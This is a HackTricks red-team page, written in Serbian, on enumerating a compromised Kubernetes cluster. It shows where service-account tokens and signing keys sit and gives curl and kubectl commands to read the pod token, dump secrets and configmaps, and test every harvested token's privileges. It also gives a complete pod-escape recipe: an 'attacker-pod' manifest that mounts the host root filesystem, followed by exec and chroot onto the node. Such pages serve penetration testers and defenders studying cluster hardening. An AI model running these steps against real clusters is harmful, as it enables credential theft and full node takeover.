Kubernetes Enumeration

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Kubernetes Tokeni

Ako imate kompromitovan pristup mašini, korisnik može imati pristup nekoj Kubernetes platformi. Token se obično nalazi u fajlu koji pokazuje env var KUBECONFIG ili unutar ~/.kube.

U ovom folderu možete pronaći konfiguracione fajlove sa tokenima i konfiguracijama za povezivanje sa API serverom. U ovom folderu takođe možete pronaći folder keša sa prethodno dobijenim informacijama.

Ako ste kompromitovali pod unutar Kubernetes okruženja, postoje i druga mesta gde možete pronaći tokene i informacije o trenutnom K8 okruženju:

Tokeni servisnih naloga

Pre nego što nastavite, ako ne znate šta je servis u Kubernetes-u, predlažem vam da pratite ovaj link i pročitate bar informacije o Kubernetes arhitekturi.

Preuzeto iz Kubernetes dokumentacije:

“Kada kreirate pod, ako ne navedete servisni nalog, automatski mu se dodeljuje podrazumevani servisni nalog u istom namespace-u.”

ServiceAccount je objekat koji upravlja Kubernetes-om i koristi se za obezbeđivanje identiteta procesima koji se izvršavaju u podu. Svaki servisni nalog ima pripadajući tajni ključ i ova tajna sadrži nosioca tokena. Ovo je JSON Web Token (JWT), metoda za sigurno predstavljanje tvrdnji između dve strane.

Obično jedan od direktorijuma:

  • /run/secrets/kubernetes.io/serviceaccount

  • /var/run/secrets/kubernetes.io/serviceaccount

  • /secrets/kubernetes.io/serviceaccount

sadrže sledeće fajlove:

  • ca.crt: To je CA sertifikat za proveru komunikacije sa Kubernetes-om

  • namespace: Označava trenutni namespace

  • token: Sadrži servisni token trenutnog poda.

Sada kada imate token, možete pronaći API server unutar environment varijable KUBECONFIG. Za više informacija pokrenite (env | set) | grep -i "kuber|kube"

Token servisnog naloga je potpisan ključem koji se nalazi u fajlu sa.key i validiran od strane sa.pub.

Podrazumevana lokacija na Kubernetes-u:

  • /etc/kubernetes/pki

Podrazumevana lokacija na Minikube-u:

  • /var/lib/localkube/certs

Vrući Podovi

Vrući podovi su podovi koji sadrže privilegovan servisni nalog. Privilegovan servisni nalog je token koji ima dozvolu da obavlja privilegovane zadatke kao što su listanje tajni, kreiranje podova, itd.

RBAC

Ako ne znate šta je RBAC, pročitajte ovaj odeljak.

Enumeration CheatSheet

Da biste enumerisali K8s okruženje, potrebno vam je nekoliko stvari:

  • Validan autentifikacioni token. U prethodnom odeljku smo videli gde da tražimo korisnički token i token servisnog naloga.

  • Adresa (https://host:port) Kubernetes API-ja. Ovo se obično može pronaći u environment varijablama i/ili u kube konfiguracionom fajlu.

  • Opciono: ca.crt za verifikaciju API servera. Ovo se može pronaći na istim mestima gde se može pronaći token. Ovo je korisno za verifikaciju sertifikata API servera, ali koristeći --insecure-skip-tls-verify sa kubectl ili -k sa curl ovo vam neće biti potrebno.

Sa ovim detaljima možete enumerisati Kubernetes. Ako je API iz nekog razloga pristupačan preko Interneta, možete jednostavno preuzeti te informacije i enumerisati platformu sa vaše mašine.

Međutim, obično je API server unutar internog mrežnog prostora, stoga ćete morati kreirati tunel kroz kompromitovanu mašinu da biste mu pristupili sa vaše mašine, ili možete prebaciti kubectl binarni fajl, ili koristiti curl/wget/bilo šta da biste izvršili sirove HTTP zahteve ka API serveru.

Razlike između glagola list i get

Sa get dozvolama možete pristupiti informacijama o određenim resursima (describe opcija u kubectl) API-ja:

GET /apis/apps/v1/namespaces/{namespace}/deployments/{name}

Ako imate dozvolu list, možete izvršiti API zahtev za listanje određene vrste resursa (get opcija u kubectl):

#In a namespace
GET /apis/apps/v1/namespaces/{namespace}/deployments
#In all namespaces
GET /apis/apps/v1/deployments

Ako imate dozvolu watch, možete izvršiti API zahteve za praćenje resursa:

GET /apis/apps/v1/deployments?watch=true
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments?watch=true
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments/{name}  [DEPRECATED]
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments  [DEPRECATED]
GET /apis/apps/v1/watch/deployments  [DEPRECATED]

Otvaraju streaming konekciju koja vraća pun manifest Deployment-a svaki put kada se promeni (ili kada se kreira novi).

Sledeće kubectl komande samo pokazuju kako izlistati objekte. Ako želite pristupiti podacima, trebate koristiti describe umesto get.

Korišćenje curl-a

Iznutra u podu možete koristiti nekoliko env promenljivih:

export APISERVER=${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT_HTTPS}
export SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount
export NAMESPACE=$(cat ${SERVICEACCOUNT}/namespace)
export TOKEN=$(cat ${SERVICEACCOUNT}/token)
export CACERT=${SERVICEACCOUNT}/ca.crt
alias kurl="curl --cacert ${CACERT} --header \"Authorization: Bearer ${TOKEN}\""
# if kurl is still got cert Error, using -k option to solve this.

Pod podrazumevano može pristupiti kube-api serveru pod imenom domena kubernetes.default.svc, a mrežu kube možete videti u /etc/resolv.config gde ćete pronaći adresu kubernetes DNS servera (".1" iz istog opsega je kube-api endpoint).

Korišćenje kubectl-a

Imajući token i adresu API servera, koristite kubectl ili curl da mu pristupite kako je ovde naznačeno:

Podrazumevano, APISERVER komunicira sa https:// šemom

alias k='kubectl --token=$TOKEN --server=https://$APISERVER --insecure-skip-tls-verify=true'

ako nema https:// u URL-u, možete dobiti grešku kao što je Loš zahtev.

Možete pronaći zvanični kubectl cheatsheet ovde. Cilj sledećih sekcija je da predstave na uređen način različite opcije za enumeraciju i razumevanje novog K8s do kojeg ste dobili pristup.

Da biste pronašli HTTP zahtev koji kubectl šalje, možete koristiti parametar -v=8

MitM kubectl - Proksifikacija kubectl-a

# Launch burp
# Set proxy
export HTTP_PROXY=http://localhost:8080
export HTTPS_PROXY=http://localhost:8080
# Launch kubectl
kubectl get namespace --insecure-skip-tls-verify=true

Trenutna konfiguracija

kubectl config get-users
kubectl config get-contexts
kubectl config get-clusters
kubectl config current-context

# Change namespace
kubectl config set-context --current --namespace=<namespace>

Ako ste uspeli da ukradete neke korisničke podatke, možete ih lokalno konfigurisati koristeći nešto poput:

kubectl config set-credentials USER_NAME \
--auth-provider=oidc \
--auth-provider-arg=idp-issuer-url=( issuer url ) \
--auth-provider-arg=client-id=( your client id ) \
--auth-provider-arg=client-secret=( your client secret ) \
--auth-provider-arg=refresh-token=( your refresh token ) \
--auth-provider-arg=idp-certificate-authority=( path to your ca certificate ) \
--auth-provider-arg=id-token=( your id_token )

Dobijanje podržanih resursa

Sa ovim informacijama ćete znati sve usluge koje možete izlistati

k api-resources --namespaced=true #Resources specific to a namespace
k api-resources --namespaced=false #Resources NOT specific to a namespace

Dobijanje trenutnih privilegija

k auth can-i --list #Get privileges in general
k auth can-i --list -n custnamespace #Get privileves in custnamespace

# Get service account permissions
k auth can-i --list --as=system:serviceaccount:<namespace>:<sa_name> -n <namespace>

Još jedan način da proverite svoje privilegije je korišćenje alata: https://github.com/corneliusweig/rakkess****

Više informacija o Kubernetes RBAC možete pronaći u:

Kubernetes Role-Based Access Control(RBAC)

Kada saznate koje privilegije imate, proverite sledeću stranicu da biste utvrdili da li ih možete zloupotrebiti kako biste povećali privilegije:

Abusing Roles/ClusterRoles in Kubernetes

Dobijanje drugih uloga

k get roles
k get clusterroles

Dobijanje imena prostora imena

Kubernetes podržava višestruke virtuelne klustere podržane istim fizičkim klasterom. Ovi virtuelni klasteri se nazivaju prostori imena.

k get namespaces
kurl -k -v https://$APISERVER/api/v1/namespaces/

Dobijanje tajni

k get secrets -o yaml
k get secrets -o yaml -n custnamespace

Ako možete čitati tajne, možete koristiti sledeće linije da biste dobili privilegije koje se odnose na svaki token:

for token in `k describe secrets -n kube-system | grep "token:" | cut -d " " -f 7`; do echo $token; k --token $token auth can-i --list; echo; done

Dobijanje servisnih naloga

Kao što je diskutovano na početku ove stranice, kada se pokrene pod, obično mu se dodeljuje servisni nalog. Stoga, listanje servisnih naloga, njihovih dozvola i lokacija na kojima se izvršavaju može omogućiti korisniku da poveća privilegije.

k get serviceaccounts

Dobijanje implementacija

Implementacije određuju komponente koje treba pokrenuti.

.k get deployments
k get deployments -n custnamespace
kurl -v https://$APISERVER/api/v1/namespaces/<namespace>/deployments/

Dobijanje Podova

Podovi su stvarni kontejneri koji će se izvršavati.

k get pods
k get pods -n custnamespace
kurl -v https://$APISERVER/api/v1/namespaces/<namespace>/pods/

Dobijanje servisa

Kubernetes servisi se koriste za izlaganje servisa na određenom portu i IP adresi (koji će delovati kao balanser opterećenja za podove koji zapravo pružaju servis). Ovo je interesantno znati gde možete pronaći druge servise koje možete pokušati napasti.

k get services
k get services -n custnamespace

Dobijanje čvorova

Dobijanje svih čvorova konfigurisanih unutar klastera.

k get nodes

Dobijanje DaemonSetova

DaeamonSetovi omogućavaju da se osigura da određeni pod radi na svim čvorovima klastera (ili na odabranim čvorovima). Ako izbrišete DaemonSet, podovi koje on upravlja će takođe biti uklonjeni.

k get daemonsets

Dobijanje cronjob-a

Cron poslovi omogućavaju zakazivanje pokretanja poda koji će izvršiti određenu akciju koristeći sintaksu crontab-a.

k get cronjobs

Dobijanje configMap

configMap uvek sadrži mnogo informacija i konfiguracionih fajlova koji se koriste za aplikacije koje se izvršavaju u Kubernetesu. Obično možete pronaći mnogo lozinki, tajni i tokena koji se koriste za povezivanje i proveru sa drugim internim/eksternim servisima.

k get configmaps # -n namespace
k get all

Dobijanje potrošnje Pods

k top pod --all-namespaces

Bekstvo iz poda

Ako možete da kreirate nove podove, možda ćete moći da pobegnete iz njih na čvor. Da biste to uradili, morate da kreirate novi pod koristeći yaml fajl, prebacite se na kreirani pod, a zatim koristite chroot da biste se prebacili na sistem čvora. Možete koristiti već postojeće podove kao referencu za yaml fajl, jer prikazuju postojeće slike i putanje.

kubectl get pod <name> [-n <namespace>] -o yaml

ako želite da kreirate pod na određenom čvoru, možete koristiti sledeću komandu da biste dobili oznake na čvoru

k get nodes --show-labels

Obično, kubernetes.io/hostname i node-role.kubernetes.io/master su dobre oznake za odabir.

Zatim kreirate svoj attack.yaml fajl

apiVersion: v1
kind: Pod
metadata:
labels:
run: attacker-pod
name: attacker-pod
namespace: default
spec:
volumes:
- name: host-fs
hostPath:
path: /
containers:
- image: ubuntu
imagePullPolicy: Always
name: attacker-pod
command: ["/bin/sh", "-c", "sleep infinity"]
volumeMounts:
- name: host-fs
mountPath: /root
restartPolicy: Never
# nodeName and nodeSelector enable one of them when you need to create pod on the specific node
#nodeName: master
#nodeSelector:
#  kubernetes.io/hostname: master
# or using
#  node-role.kubernetes.io/master: ""

original yaml source

Nakon toga kreirate pod

kubectl apply -f attacker.yaml [-n <namespace>]

Sada možete preći na kreirani pod na sledeći način

kubectl exec -it attacker-pod [-n <namespace>] -- sh # attacker-pod is the name defined in the yaml file

I na kraju, chrootujete se u sistem čvora

chroot /root /bin/bash

Informacije dobijene iz: Kubernetes Namespace Breakout korišćenjem nesigurnog Host Path Volume - Deo 1 Napad i odbrana Kubernetes-a: Bust-A-Kube - Epizoda 1

Reference

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Last updated